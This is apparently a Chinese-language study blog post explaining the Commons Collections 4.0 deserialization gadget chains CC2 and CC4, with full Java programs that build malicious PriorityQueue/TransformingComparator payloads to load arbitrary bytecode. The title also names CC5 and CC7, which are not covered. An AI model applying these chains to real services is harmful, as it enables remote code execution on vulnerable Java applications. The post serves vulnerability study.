CommonCollections2+4+5+7

摘要:点击标题阅读全文…

其实CC链都是差不多的,后面的Runtime命令执行的实现是一个原理,主要还是看各种调用方式,既然之前CC3实践了动态类加载的方式,那么我们也就一律采用这种更加隐蔽的方式来调用了,先说CC2

CC2

调用部分:

1
2
3
4
5
6
7
8
9
10
11
12
TemplatesImpl templatesImpl = new TemplatesImpl();  

Class tc = templatesImpl.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users/hongm/Desktop/Java_Unser/target/classes/org/example/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesImpl, codes);

我们自己在不序列与反序列化的情况下需要添加:

1
2
3
Field tfactoryField = tc.getDeclaredField("_tfactory");  
tfactoryField.setAccessible(true);
tfactoryField.set(templatesImpl, new TransformerFactoryImpl());

接下来就是CC2的调用部分,CC2是基于CommonCollections4.0的,在这个CommonCollections版本中,CC1等一些链是被修复了的,但是即使是4.0版本还是有反序列化漏洞的存在
CC2的触发点还是在newTransform方法,这与CC3是很相似的,区别在于CC3的最后我是使用了半条CC6的HashMap实现调用的,在CC2中我们尝试使用别的

CommonCollections4.0有一个TransformingComparator类,它是Serializable且有transform方法
TransformingComparator本质是一个比较器,而它的compare方法:

1
2
3
4
5
public int compare(final I obj1, final I obj2) {  
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

构造方法:

1
2
3
4
5
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,  
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

很显然,transformer对象和obj对象都是我们可控的,也是public的,那么就去找compare方法的调用,最好是readObject方法就调用了compare方法
最后是找到了PriorityQueue这个类的readObject方法

1
2
3
4
5
6
7
8
9
private void readObject(java.io.ObjectInputStream s)  
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
s.readInt();
queue = new Object[size];
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}

对于heapfiy方法

1
2
3
4
private void heapify() {  
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

继续跟进到siftDown方法

1
2
3
4
5
6
private void siftDown(int k, E x) {  
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

跟进到siftDownUsingComarator方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {  
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

这里面是有compare方法的
那么也就清楚了,编写一个测试代码

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) throws Exception {  
动态类加载部分同CC3

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue queue = new PriorityQueue(transformingComparator);

serialize(queue);
deserialize("ser.bin")

}

运行,惊喜的发现什么都没有发生,这是因为在整个执行过程中有一些条件没有满足,我们在heapify函数下一个断点调试一下看看

这里的size是0,因为我们没有往Priority里面放东西,只有当size大于等于2时,才能满足for循环的条件,才能执行siftDown方法
所以我们要往Priority里面塞东西

1
2
priorityQueue.add(1);  
priorityQueue.add(2);

由于此时TransformingComparator中的transformer还是ConstantTransformer,所以我们要通过反射进行修改

1
2
3
4
5
6
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});  

Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator , invokerTransformer);

这里还借用了一个InvokerTransformer来调用newTransformer方法
至此执行,恭喜又没有反应,这是为什么呢,这是因为在TransformingComparator中的compare方法:

1
2
3
4
5
public int compare(final I obj1, final I obj2) {  
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

transform方法的参数被指定为obj1和obj2,这二者时从PriorityQueue中传进来的,也就是PriorityQueue的成员,在前面我们是add了1和2两个数字,它们当然是没有newTransformer方法的,而我们期望被调用newTransformer方法的对象是我们先前构造的TemplatesImpl对象templates
所以修改为:

1
2
priorityQueue.add(templates);  
priorityQueue.add(2); //这个也可以传templates

完整代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import......

public class Try {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users/hongm/Desktop/Java_Unser/target/classes/org/example/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator , invokerTransformer);

// serialize(priorityQueue);
deserialize("ser.bin");

}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);

}
public static Object deserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;

}
}

CC4:

CC4和CC2几乎一样,区别在于CC2中我们使用了InvokerTransformer来调用newTransformer方法,而CC4则使用用CC3中InstantiateTransformer类的思路
这里补充一下InstantiateTransformer调用newTransformer方法的说明:
不同于CC2,CC4中借用了先前ChainedTransformer的思路,构造:

1
2
3
4
5
6
7
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl});  

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

实际调用了InstantiateTransformer.transform(TraXFilter.class);
而InstantiateTransformer.transform的定义如下:

1
2
3
4
5
6
7
8
9
10
public T transform(final Class<? extends T> input) {  
try {
if (input == null) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a null object");
}
final Constructor<? extends T> con = input.getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch......
}

这里大意是如果input不为空,尝试获取input的构造方法,并将iArgs作为参数,传给该构造方法,并尝试进行实例化,将实例化后的对象返回
iArgs和iParamTypes由InstantiateTransformer的构造方法传入

1
2
3
4
5
public InstantiateTransformer(final Class<?>[] paramTypes, final Object[] args) {  
super();
iParamTypes = paramTypes != null ? paramTypes.clone() : null;
iArgs = args != null ? args.clone() : null;
}

我们想要调用的是TraXFilter的构造方法,其定义如下:

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws  
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

可以看到,其构造方法接受一个Templates类型的参数,那么构造如下(和上面说的一样):

1
2
3
4
5
6
7
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl});  //TemplatesImpl继承自Templates类

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

后面在通过反射修改的时候,将CC2中本来要给transformerComparator赋值为invokerTransformer改为赋值为chainedTransformer即可
全链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import......

public class CC4Test {
public static void main(String[] args) throws Exception {

TemplatesImpl templatesImpl = new TemplatesImpl();

Class tc = templatesImpl.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users/hongm/Desktop/Java_Unser/target/classes/org/example/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesImpl, codes);

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, chainedTransformer);

/// serialize(priorityQueue);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);

}
public static Object deserialize(String Filename) throws Exception, ClassNotFoundException, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;

}
}

总结:
CC2、CC4是基于CommonCollections4的,在CommonCollections3中,TransformingComparator是不可序列化的,所以这个也是CommonCollections4限定
CC2、CC4的区别在于CC2没有采用Transformer数组,而是通过InvokerTransformer去对newTransformer方法进行调用,而CC4则采用InstantiateTransformer去更隐蔽地对newTransformer方法进行调用,但是采用了Transformer数组,在实际情况中有些时候会ban掉InvokerTransformer,有些时候数组操作会比较魔幻,所以根据情况去进行构造时最好的方式